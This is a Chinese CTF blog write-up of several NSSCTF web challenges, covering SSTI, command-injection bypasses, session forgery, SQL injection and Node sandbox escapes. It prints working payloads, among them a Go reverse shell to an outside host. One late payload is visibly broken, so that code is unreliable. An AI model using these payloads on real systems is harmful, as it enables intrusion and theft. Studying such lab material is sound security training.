当前位置:   article > 正文

NSSCTF web刷题记录3_[nssctf round #8]——web专项赛wp

[nssctf round #8]——web专项赛wp


[护网杯 2018]easy_tornado

打开题目,发现有三个链接,分别看一下
第一个提示flag位置在这里插入图片描述第二个由题目得知,其为tornado里的render函数
在这里插入图片描述第三个给算MD5的式子,结合访问的参数值,猜测如下

filehash=md5(cookie_secret+md5(filename))
  • 1

首先我们要找到注入点,filename肯定是文件名,那么只好尝试参数filehash

?filename=/flag.txt&filehash={{7*7}}
  • 1

发现跳转另一个页面,那么再次输入{{7*7}}
发现存在注入点,并且被过滤了
在这里插入图片描述

这里关键是要去得到cookie_secret的值,借助百度,Tornado框架的附属文件handler.settings中存在cookie_secret,修改下payload
在这里插入图片描述得到cookie_secret后,用脚本生成拼接后的MD5值
(注意是点号连接)

<?php
$a='/fllllllllllllag';
$b='5b4ac501-8d61-4a41-ba8a-97056572c6ea';
$c=md5($b.(md5($a)));
echo $c;
  • 1
  • 2
  • 3
  • 4
  • 5

得到flag
在这里插入图片描述

[NSSRound#V Team]PYRCE

源码

from flask import Flask, request, make_response 
import uuid 
import os 
# flag in /flag 
app = Flask(__name__) 
def waf(rce): 
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' 
    for black in black_list: 
        if black in rce: 
            return False 
    return True 

@app.route('/', methods=['GET']) 
def index(): 
    if request.args.get("Ňśś"): 
        nss = request.args.get("Ňśś") 
        if waf(nss): 
            os.popen(nss) 
        else: 
            return "waf" 
return "/source" 

@app.route('/source', methods=['GET']) 
def source(): 
    src = open("app.py", 'rb').read() 
    return src 

if __name__ == '__main__': 
    app.run(host='0.0.0.0', debug=False, port=8080) 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

简单的flask框架,在./的路由下存在GET参数,然后绕过waf过滤来命令执行
不难发现黑名单过滤了/,这里用的是pwd构造出/,然后结合存在app.py,我们用cp命令把/flag复制到app.py里面
我们先看一下怎么利用pwd构造出/
首先pwd表示的是当前工作目录
在这里插入图片描述那如果我们构造以下语句

cd ..&&cd ..&&pwd
  • 1

构造出根目录
在这里插入图片描述

方法一 cp命令

我们要把flag复制到app.py,但是我们不知道当前目录是什么,所以多尝试看看需要几个cd ..
payload

cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py
  • 1

考虑到过滤,先用%09代替空格,然后url编码一下

cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy
  • 1

由于不能直接打开app.py,我们需要访问./source打开
得到flag
在这里插入图片描述

方法二 tar命令

先创建一个静态访问的文档

mkdir%09static
  • 1

payload

tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag
  • 1
  • 2

注:czf为tar命令的参数
然后访问./static/flag.tar.gz下载flag
在这里插入图片描述

[CISCN 2019华东南]Web4

考点:seed生成伪随机数,session伪造

打开题目,发现可以读取用户信息
在这里插入图片描述这里查看下网络,发现是python2环境
读取下app.py
在这里插入图片描述
源码如下

# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True


@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
        return 'no response'


@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'


if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44

源码非常简单,只要session中的username值为fuck即可

我们看看如何伪造session,下面给出key的获取方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
  • 1
  • 2

uuid.getnode()这个代表着Mac地址,我们尝试读取一下(file用load_file替换)

?url=local_file:///sys/class/net/eth0/address
  • 1

在这里插入图片描述
然后再写脚本去爆破得到key(注意这里是python2环境)

import random
random.seed(0x0242ac02aff2)
print(str(random.random()*233))

  • 1
  • 2
  • 3
  • 4

在这里插入图片描述
然后解密一下
在这里插入图片描述
修改为fuck,再加密得到cookie值
bp抓包修改,得到flag
在这里插入图片描述

[CISCN 2023 华北]ez_date

考点:MD5强等于,sha1强等于,date函数特性

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

分析一下,首先判断a和b是否为数组,然后进行判断MD5和sha1是否强等于;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件

这里绕过强等于可以利用数字1和字符1分别赋值即可绕过,那么我们再来看看date函数,我们本地测试下

<?php
$a='/flag';
print(date($a));
  • 1
  • 2
  • 3

运行结果为fSaturdayam9,可以发现字符串的lg变成了Saturdaym9,当我们试试防止其转义添加反斜杠时,成功构造出/flag

<?php
$a='/f\l\a\g';
print(date($a));
  • 1
  • 2
  • 3

所以源码中的file值为/f\l\a\g

exp如下

<?php

class date{
    public $a;
    public $b;
    public $file;
}

$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

得到flag
在这里插入图片描述

[GWCTF 2019]你的名字

考点:ssti

打开题目,尝试输入{{7*7}}
发现报错,说明存在过滤
在这里插入图片描述替换一下

{%print(7*7)%}
  • 1

成功注入
在这里插入图片描述我们可以bp抓包fuzz测试下过滤了什么
可以发现class也被过滤了
在这里插入图片描述payload

{%print(lipsum.__globals__['o''s']['pop''en']('env').read())%}
  • 1

注:过滤了popen,用字符串拼接读取环境变量
得到flag
在这里插入图片描述

[GKCTF 2020]ez三剑客-easynode

考点:nodeJs,整数溢出,vm沙箱逃逸

打开题目,查看源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69

分析一下,当访问./eval路径即收到请求时,会执行此函数。首先会检测是否为./eval路径,然后会定义变量delay,初始值为60秒;如果请求的查询参数 delay 是一个整数,那么会将 delay 更新为当前 delay 和 req.query.delay 中较大的值。

if (Number.isInteger(parseInt(req.query.delay))) 
  • 1

观察到会被强制转换为int型,可以利用整数溢出绕过
在这里插入图片描述然后就是./eval路由,如果请求参数e存在,那么会返回saferEval(req.body.e)

此函数存在命令执行漏洞,搜索一下,会发现要利用vm沙箱逃逸的知识
poc如下

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

即e的值为process
payload

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
  • 1

得到flag
在这里插入图片描述

[NSSRound#8 Basic]Upload_gogoggo

考点:go文件上传,反弹shell

题目提示没有任何过滤,尝试上传一句话木马
在这里插入图片描述这里发现确实上传成功了,但是看到go help
应该是go语言写的,go 1提示未知命令
猜测命令构成为

go 文件名 上传文件
  • 1

也就是说我们如果上传名为run.go的文件
那么将执行go run run.go,也就是解析我们上传的go文件

go文件反弹shell脚本如下

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

可以发现上传成功并且被解析
在这里插入图片描述那么我们nc监听一下,成功反弹shell
在这里插入图片描述然后flag被分成两部分
在这里插入图片描述解码得到flag

[HNCTF 2022 WEEK4]fun_sql

考点:堆叠注入

源码

 <?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

    $uname=$_GET['uname'];

    if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
        die('hacker');
        
    }
    
    $sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
    echo "$sql<br>";
    

    mysqli_multi_query($db, $sql);
    $result = mysqli_store_result($db);
    $row = mysqli_fetch_row($result);

    echo "<br>";

    echo "<br>";
    if (!$row) {
        die("something wrong");
    }
    else
    {
        print_r($row);
        echo $row['uname']."<br>";
        
    }
    if ($row[1] === $uname)
    {
    die($flag);
    }
}
highlight_file(__FILE__); 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

分析一下,首先是过滤了一些关键字,给出了sql查询语句为单引号闭合;然后是mysqli_multi_query()函数可以处理多条语句,那么可以使用堆叠注入;最后检测查询结果第二位是否为变量uname的值,如果是则返回flag

我们先看看有几列

?uname=-1' union select 1,2,3;#
  • 1

在这里插入图片描述可以发现有三列,我们已经知道得到flag的条件为$row[1] === $uname
也就是说只要我们查得到数据,即可得到flag

因此我们插入一个我们查得到的数据(表名给了为ccctttfff)
payload

?uname=-1' union select 1,2,3;insert into ccctttfff value(1,1,1);#
  • 1

然后我们再访问插入的uname=1,得到flag
在这里插入图片描述

prize_p4

考点:session伪造、python盲注

打开题目,随便提交数据上去
发现不是admin权限,但是也给了部分源码

@app.route('/getkey', methods=["GET"])
def getkey(): 
	if request.method != "GET": 
		session["key"]=SECRET_KEY
  • 1
  • 2
  • 3
  • 4

给了./getkey路由,如果不为GET方式传参,得到key
这里的绕过思路是抓包,更换请求方式如HEAD请求
在这里插入图片描述解码得到key
在这里插入图片描述然后伪造session
在这里插入图片描述修改cookie,得到源码
在这里插入图片描述

from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag 

SECRET_KEY=str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
    return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
    data = request.form.get('data', '123')
    if type(data) is str:
        data=data.encode('utf8')
    url = request.form.get('url', 'http://127.0.0.1:8888/')
    if data and url:
        session['data'] = data
        session['url'] = url
        session["admin"]=False
        return redirect(url_for('home'))
    return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
    if session.get("admin",False):
        return render_template_string(open(__file__).read())
    else:
        return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY
    return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
    if session['data'] and session['url']:
        if 'file:' in session['url']:
            return "no no no"
        data=(session['data']).decode('utf8')
        url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
        if url_text in data or data in url_text:
            return "you get it"
    return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
    res = flag.waf(request)
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68

分析一下,./getflag路由是最直接的得到flag方式,但是waf我们并不知道;我们看向./get_hindd_result路由定义的get_hindd_result()方法,是否session中有参数data和url,然后检测是否有file出现(大小写绕过即可),然后对session中的参数data值进行utf-8解码,接着读取文件,如果读取的文件在data值里或者data值里有读取的文件,返回you get it

可以猜测我们能读取到flag
由于这个flag.py是当前正在运行的,并且我们知道flag在环境变量里,所以可以通过/proc/self/environ读到flag,还是通过盲注即可

脚本如下

import string
import requests

url1="http://node4.anna.nssctf.cn:28831/get_data"
url2="http://node4.anna.nssctf.cn:28831/get_hindd_result"
flag="NSSCTF{"
while 1:
    for i in string.printable:
        tmp_flag=flag+i
        data={"url":"File:///proc/self/environ","data":tmp_flag}
        res=requests.session()
        res.get(url1,data=data)
        session_tmp=str(res.cookies.values())[2:-2]
        flag_resp=requests.get(url2,cookies={"session":session_tmp})
        if "you get it" in flag_resp.text:
            flag+=i
            print(flag)
            break

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

解释一下,创建session对象,对url1发送get请求,然后将该cookie值赋值给变量session_tmp,再去对url2发送请求,遍历可打印字符,看该字符是否在读取的文件里,也就是盲注flag

得到flag
在这里插入图片描述

[GFCTF 2021]ez_calc

考点:nodejs函数漏洞、沙箱逃逸

打开题目,在源码处发现hint
在这里插入图片描述先进行小写转换判断是否为admin,再进行大写转换判断是否为ADMIN,最后判断密码是否为admin123

这里的考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
所以我们可以admın绕过,密码就是admin123

在这里插入图片描述成功登陆后,发现源码藏着hint

let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

分析一下

  1. 定义了变量calc为接收请求中的参数calc,变量flag值为false;
  2. 然后for循环遍历calc的每个字符,来判断是否含有以下/(flc'\". 字符,如果存在被过滤的字符,那么将其替换为*
  3. 然后就是截取长度,过滤空格和一些危险的关键字

结合提示字符串的length和数组的length是不一样的
我们不妨本地测试下

var calc=["aaa","bbb","1"];
let flag=false;
console.log(calc.length);
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
        console.log(calc);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

运行一下,可以发现并不能触发,因为没有出现危险字符
在这里插入图片描述如果我们将第三个改为危险字符.,不难发现从第四个开始全部变成了*
也就是说当数组长度3,且危险字符在第三个时,前面字符长度3全部逃逸
在这里插入图片描述我们继续测试,如果危险字符在字符长度3之前呢,也就是calc=["a(a","1","."];
在这里插入图片描述可以发现(成功逃逸
calc数组长度一定要大于等于前面执行命令的字符串长度

回到题目试试,发现成功
在这里插入图片描述
构造payload

calc[0]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[1]=1&calc[2]=1&calc[3]=1&calc[4]=1&calc[5]=1&calc[6]=1&calc[7]=1&calc[8]=1&calc[9]=1&calc[10]=1&calc[11]=1&calc[12]=1&calc[13]=1&calc[14]=1&calc[15]=1&calc[16]=1&calc[17]=1&calc[18]=1&calc[19]=1&calc[20]=1&calc[21]=1&calc[22]=1&calc[23]=1&calc[24]=1&calc[25]=1&calc[26]=1&calc[27]=1&calc[28]=1&calc[29]=1&calc[30]=1&calc[31]=1&calc[32]=1&calc[33]=1&calc[34]=1&calc[35]=1&calc[36]=1&calc[37]=1&calc[38]=1&calc[39]=1&calc[40]=1&calc[41]=1&calc[42]=1&calc[43]=1&calc[44]=1&calc[45]=1&calc[46]=1&calc[47]=1&calc[48]=1&calc[49]=1&calc[50]=1&calc[51]=1&calc[52]=1&calc[53]=1&calc[54]=1&calc[55]=1&calc[56]=1&calc[57]=1&calc[58]=1&calc[59]=1&calc[60]=1&calc[61]=1&calc[62]=1&calc[63]=.&calc[64]=1&calc[65]=.
  • 1

解释:calc[0]即为我们要逃逸的RCE,长度为多少后面补充的数组长度为该数减1,使得数组长度等于逃逸命令的长度;注意不能出现/,所以采用['/']

在这里插入图片描述本来想继续读flag,但是源码中长度被限制了…

我们可以换种方法,导入 Node.js 的 child_process 模块,然后使用 Object.values() 方法获取该模块的所有属性值,通过下标来代替关键字去绕过
查找代码如下

const childProcess = require('child_process');
const values = Object.values(childProcess);
console.log(values);
  • 1
  • 2
  • 3

我们可以使用execSync,下标为5
在这里插入图片描述
修改payload

calc[0]=Object.values(require(‘child_process’))5&calc[1]=1&calc[2]=1&calc[3]=1&calc[4]=1&calc[5]=1&calc[6]=1&calc[7]=1&calc[8]=1&calc[9]=1&calc[10]=1&calc[11]=1&calc[12]=1&calc[13]=1&calc[14]=1&calc[15]=1&calc[16]=1&calc[17]=1&calc[18]=1&calc[19]=1&calc[20]=1&calc[21]=1&calc[22]=1&calc[23]=1&calc[24]=1&calc[25]=1&calc[26]=1&calc[27]=1&calc[28]=1&calc[29]=1&calc[30]=1&calc[31]=1&calc[32]=1&calc[33]=1&calc[34]=1&calc[35]=1&calc[36]=1&calc[37]=1&calc[38]=1&calc[39]=1&calc[40]=1&calc[41]=1&calc[42]=1&calc[43]=1&calc[44]=1&calc[45]=1&calc[46]=1&calc[47]=1&calc[48]=1&calc[49]=1&calc[50]=1&calc[51]=1&calc[52]=1&calc[53]=1&calc[54]=1&calc[55]=1&calc[56]=1&calc[57]=1&calc[58]=1&calc[59]=1&calc[60]=1&calc[61]=1&calc[62]=1&calc[63]=.

将/G* 表示的文件列表作为输入,然后将其内容输出到文件 p 中
然后nl命令读取即可

calc[0]=require(‘child_process’).spawnSync(‘nl’,[‘p’]).stdout.toString();&calc[1]=1&calc[2]=1&calc[3]=1&calc[4]=1&calc[5]=1&calc[6]=1&calc[7]=1&calc[8]=1&calc[9]=1&calc[10]=1&calc[11]=1&calc[12]=1&calc[13]=1&calc[14]=1&calc[15]=1&calc[16]=1&calc[17]=1&calc[18]=1&calc[19]=1&calc[20]=1&calc[21]=1&calc[22]=1&calc[23]=1&calc[24]=1&calc[25]=1&calc[26]=1&calc[27]=1&calc[28]=1&calc[29]=1&calc[30]=1&calc[31]=1&calc[32]=1&calc[33]=1&calc[34]=1&calc[35]=1&calc[36]=1&calc[37]=1&calc[38]=1&calc[39]=1&calc[40]=1&calc[41]=1&calc[42]=1&calc[43]=1&calc[44]=1&calc[45]=1&calc[46]=1&calc[47]=1&calc[48]=1&calc[49]=1&calc[50]=1&calc[51]=1&calc[52]=1&calc[53]=1&calc[54]=1&calc[55]=1&calc[56]=1&calc[57]=1&calc[58]=1&calc[59]=1&calc[60]=1&calc[61]=1&calc[62]=1&calc[63]=.

得到flag
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/641080
推荐阅读
相关标签
  

闽ICP备14008679号